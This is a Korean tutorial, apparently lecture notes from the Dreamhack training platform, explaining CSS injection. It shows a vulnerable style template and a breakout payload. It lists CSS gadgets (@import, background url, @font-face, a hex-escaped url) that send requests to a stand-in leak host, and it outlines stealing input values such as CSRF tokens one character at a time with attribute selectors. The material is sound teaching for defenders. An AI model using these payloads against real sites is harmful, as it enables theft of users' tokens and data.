Dreamhack 강의를 통해 CSS Injection이 무엇인지 알아봅시다.
CSS Injection
CSS Injection은 XSS와 비슷하게 웹 페이지 로딩 시 악의적인 문자열을 삽입하여 악의적인 동작을 이끄는 공격입니다.
공격자가 임의 CSS 속성을 삽입해 웹 페이지 UI를 변조 하거나 CSS 속성의 다양한 기능을 통해 웹 페이지내의 데이터를 외부로 훔칠 수 있습니다.
데이터의 예로는 CSRF Token, 피해자의 API Key등 웹 페이지에 직접적으로 보여지는 값처럼 CSS 선택자를 통해 표현이 가능해야하며 script 태그 내 데이터들은 탈취가 불가능합니다.
CSS Basic
Color Change
파라미터를 통해 클라이언트에서 백그라운드 컬러를 제어가 가능하도록 만들어진 코드입니다.
1
2
3
4
<style>
body { background-color: ${theme}; }
</style>
<h1>Hello, it's dreame. Interesting with CSS Injection?</h1>
아래와 같이 별다른 검증을 하지 않아 H1 Tag의 컬러가 변경되었습니다.
1
DarkScreen;} h1 {color:red
Ip Ping Back
클라이언트 사이드 공격을 통해 데이터를 외부로 탈취하기 위해서는 공격자의 서버로 요청을 보낼 수 있어야합니다.
- 아래의 가젯을 사용해 페이지 내에서 외부 서버로 요청을 보낼 수 있음
- 요청 받을 서버는 드림핵툴즈 Request Bin
- yellow; background: url(“https://wybfhvn.request.dreamhack.games/ping-back”); 발급 받은 서브 도메인 주소로 body의 background를 설정
- 요청 확인
| CSS 가젯 | 설명 |
|---|---|
| @import ‘https://leaking.via/css-import-string’; | 외부 CSS 파일을 로드합니다. 모든 속성 중 가장 상단에 위치해야합니다. 그렇지 않을 경우 @import는 무시됩니다. |
| @import url(https://leaking.via/css-import-url); | url 함수는 URL를 불러오는 역할을 합니다. 상황에 따라서 선택적으로 사용할 수 있습니다. |
| background: url(https://leaking.via/css-background); | 요소의 배경을 변경할 때 사용할 이미지를 불러옵니다. |
| @font-face { font-family: leak; src: url(https://leaking.via/css-font-face-src);} | 불러올 폰트 파일의 주소를 지정합니다. |
| background-image: \000075\000072\00006C(https://leaking.via/css-escape-url-2); | CSS 에서 함수를 호출할 때 ascii형태의 “url”이 아닌 hex형태인 “\000075\000072\00006C”도 지원합니다. |
CSS Injection - 데이터 탈취
Attribute Selector를 통해 입력 박스 (Input)의 값 (Value)를 탈취할 수 있습니다.
CSS Attribute Selector
CSS Attribute Selector는 Element의 Attribute를 Selection할 수 있는 기능을 제공합니다.
| [attr] | attr이라는 이름의 특성을 가진 요소를 선택합니다. |
|---|---|
| [attr=value] | attr이라는 이름의 특성값이 정확히 value인 요소를 선택합니다. |
| [attr~=value] | attr이라는 이름의 특성값이 정확히 value인 요소를 선택합니다. attr 특성은 공백으로 구분한 여러 개의 값을 가지고 있을 수 있습니다. |
| [attr^=value] | attr이라는 특성값을 가지고 있으며, 접두사로 value가 값에 포함되어 있으면 이 요소를 선택합니다. |
| [attr$=value] | attr이라는 특성값을 가지고 있으며, 접미사로 value가 값에 포함되어 있으면 이 요소를 선택합니다. |
위 구문 중 [attr^=value] 을 이용하면 입력 박스 내용을 탈취할 수 있습니다.
[attr^=value]구문을 이용해 가장 첫 한 글자를 먼저 탈취합니다.- 1에서 탈취한 글자를 접두사로 그 다음 한 글자를 탈취합니다.
- 1-2를 반복합니다.